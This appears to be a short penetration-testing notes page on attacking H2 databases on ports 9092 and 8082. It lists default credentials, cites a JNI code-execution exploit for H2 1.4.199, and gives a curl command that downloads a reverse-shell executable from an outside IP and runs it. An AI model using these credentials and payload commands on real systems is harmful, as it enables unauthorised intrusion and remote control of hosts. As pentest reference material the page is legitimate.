9092 - H2

H2 is a lightweight, open-source RDBMS written in Java. It is often embedded into applications for testing or development due to its small footprint and ease of deployment, and it supports SQL as well as in-memory and file-based persistence modes. Port 9092 is the default TCP port used by H2 for client-server SQL connections and port 8082 is for its web console.

Default Credentials

The default credentials might be sa:<blank> or sa:sa.

Authenticated RCE

H2 Database version 1.4.199 is affected by a RCE vulnerability due to unsafe handling of Java Native Interface (JNI) calls (PoC).

$ searchsploit H2 Database 1.4.199
H2 Database 1.4.199 - JNI Code Executionn | java/local/49384.txt

# The backdash might need to be escaped when used in the above PoC
curl 192.168.45.241/revshell.exe -o c:\\windows\\temp\\revshell.exe
c:\\windows\\temp\\revshell.exe

Last updated

Was this helpful?